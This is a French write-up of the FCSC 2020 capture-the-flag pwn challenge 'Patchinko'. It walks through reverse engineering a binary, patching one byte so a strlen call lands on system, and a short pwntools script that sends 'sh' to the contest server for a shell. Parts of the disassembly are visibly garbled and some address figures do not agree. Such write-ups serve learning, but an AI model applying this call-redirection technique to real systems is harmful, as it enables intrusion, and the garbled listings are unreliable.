

**Challenge** : Patchinko **Catégorie** : Pwn

#### Énoncé :

Venez tester la nouvelle version de machine de jeu Patchinko! Les chances de victoire étant proches de zéro, nous aidons les joueurs. Prouvez qu'il est possible de compromettre le système pour lire le fichier flag.

**Note** : le service permet de patcher le binaire donné avant de l'exécuter.

Fichier(s): patchinko.bin

## **Table des matières**

1)	PREMIERE APPROCHE	. 2
2)	REVERSE ENGINEERING	. 3
3)	EXPLOIT	Δ





# 1) Première approche

En guise de première approche, on peut commencer par prendre quelques informations élémentaires sur le binaire et faire une première exécution pour avoir un aperçu du fonctionnement général du programme.

```
SoEmaY in ~/Bureau [23:29]
> file patchinko.bin
patchinko.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, fo
r GNU/Linux 2.6.32, BuildID[sha1]=ea28c1aa273a99a5c9323b062e3277734bbed0be, not stripped

SoEmaY in ~/Bureau [23:30]
> ./patchinko.bin
Hello! Welcome to Patchinko Gambling Machine.
Is this your first time here? [y/n]
>>> y
Welcome among us! What is your name?
>>> SoEmaY
Nice to meet you SoEmay!
Guess my number
-3781739193506178230
-3781739193506178230
Wow, you win!! Congratulations! Contact us to claim your prize.
```

On a donc affaire à un ELF 64 bits (x86\_64 Intel) non strippé et linké *dynamiquement*. À la première exécution on trouve une suite de messages affichés donnant chacun suite à des entrées utilisateur.

Comme indiqué dans l'énoncé, le service propose de patcher le binaire avant de l'exécuter. Voyons à quoi ce service ressemble.

On en profite pour tester les autres entrées possibles.

On voit ici en effet qu'on nous demande de rentrer une adresse d'un octet à modifier puis la valeur à mettre à cette adresse.

De plus, il est précisé via l'énoncé que le service exécute le programme qui se chargera du patch puis le binaire qui nous est fourni de manière indépendante (ce n'est pas une « version modifiée » du binaire qui permettrait de s'auto-patcher). Le binaire exécuté sera le même que celui téléchargeable en local : l'adresse à modifier sera donc également la même.





## 2) Reverse Engineering

On se lance alors dans l'analyse statique du code, ici avec IDA, et on désassemble la fonction « main ».

```
🔟 🍲 🗷
            Attributes: bp-based frame
            int __cdecl main(int argc, const char **argv, const char **envp)
blic main
         var_60= qword ptr -60h
ptr= qword ptr -58h
var_50= byte ptr -50h
s= byte ptr -0Ch
stream= qword ptr -8
                        rbp
rbp, rsp
rsp, 60h
rax, cs:
                      rax, cs:stdout@@GLIBC_2_2_5
ecx, 0 ; n
edx, 2 ; mode:
esi, 0
rdi, rax
_set**
       mov
sub
mov
mov
mov
       mov
call
lea
call
                                                        : "echo Hello! Welcome to Patchinko Gambli".
                      TIME ?:
rdi, format ; "Is this your fireax, 0
_printf
rdx, cs:stdine@GLIBC_2_2_5; stream
rax, [rbp+s]
esi, 4 ; n
                                                         ; "Is this your first time here? [y/n]\n>>"..
                         rdi, rax
                         rax, [rbp+s]
rdi, rax
strlen
                         _strlen
rax, 1
[rbp+rax+s], 0
eax, [rbp+s]
al, 121
short _FIRST_TI
                                                                            eax, [rbp+s]
al, 110
short _FIRST
II 🚅 🖼
                                                                                                                                                                     <mark>∭</mark> ∰ 
jmp
                                                                                                                                                                                     short
 FIRST TIME YES:
novzx eax, [rbp+s]
mp al, 110
jnz short ENTER
                             U ; cmp REPONSE à n
_ENTER_NAME
```

On remarque directement un appel à la fonction « \_system » pour afficher le message « Hello! Welcome to Patchinko Gambling Machine. » via la commande « echo ».

On continue l'analyse du binaire tout en gardant à l'esprit que l'on peut modifier un octet au choix.

Pour chaque entrée utilisateur, on remarque l'appel à la fonction « fgets » suivit de l'appel à la fonction « strlen ».

On pourrait alors penser à augmenter la taille maximale d'entrée du fgets pour pouvoir overflow le buffer, call system et envoyer un shellcode permettant d'avoir un shell... Mais l'input n'est pas stocké dans un buffer.

Il faut alors trouver un autre point d'entrée.

Ne trouvant pas d'intérêt particulier à appeler strlen après chaque input, on peut alors penser à examiner l'adresse de cette fonction dans la section « .plt » (Procedure Linkage Table) du binaire.





```
: CODE XREF: main+62↓p
plt:00000000004006C0
                                 cs:off_601030
.plt:00000000004006C0
plt:00000000004006C6 ; -----
plt:0000000004006C6
                           push
jmp
                                 sub_400680
                           == S U B R O U T I N E ===
.plt:00000000004006D0
.plt:00000000004006D0
                                             ; CODE XREF: main+2D↓p
 1+:00000000004006D0
                                 cs:off_601038
```

On trouve donc que l'adresse de la fonction strlen dans la PLT est 0x4006D0, alors que celle de la fonction system est 0x4006C0 : il est donc possible qu'en changeant uniquement un octet dans l'instruction correspondante on puisse call la fonction system au lieu de la fonction strlen.

## 3) Exploit

On commence alors par aller repérer l'emplacement de l'octet à modifier. On peut par exemple utiliser objdump sur la section « .text » pour trouver la valeur hexadécimale à modifier.

```
400888: e8 33 fe ff ff callq 4006c0 <strlen@plt>
```

Il nous faut donc modifier l'octet prenant ici la valeur « 33 » : on va alors utiliser xxd pour dump l'hexadécimal du binaire et ainsi trouver l'adresse réelle de l'octet à modifier, en recherchant la suite « e833 feff ff ».

```
SoEasY in ~/Bureau [01:56]
> xxd patchinko.bin | grep e833\ feff\ ff
00000880: ff48 8d45 f448 89c7 e833 feff ff48 83e8 .H.E.H...3...H..
```

Calculons la valeur nécessaire pour call system à la place de strlen : on calcule la distance entre l'instruction exécutée après le call et la fonction system et on prend le complément à 2 de cette valeur.

```
SoEasV in ~/Bureau [02:19]
> python3
Python 3.7.6 (default, Jan 19 2020, 22:34:52)
[GCC 9.2.1 20200117] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0×40088d-0×4006d0)
'0×1bd'
>>> hex(0×1000 - 0×1bd)
'0×603'
```

On a donc l'octet 0x889 qu'il faudra patcher pour changer sa valeur de « 0x33 » en « 0x43 ».

On peut ainsi lancer la connexion au service et rentrer à la main les informations puis faire exécuter une commande système de 4 caractères maximum (« bash » ne marchant pas, on choisit ici « sh »).





On peut également automatiser ce processus (même s'il n'y a pas grand intérêt à cela ici) avec python et pwntools.

```
from pwn import *
import time

r = remote('challenges1.france-cybersecurity-challenge.fr', 4009)

r.sendline('0x889')
r.sendline('0x43')
time.sleep(1) # Laisse le temps au message de s'afficher avant input
r.sendline('sh')

r.interactive()
```

On termine ainsi le challenge et on récupère le flag! Encore un challenge très intéressant pour ce FCSC 2020.

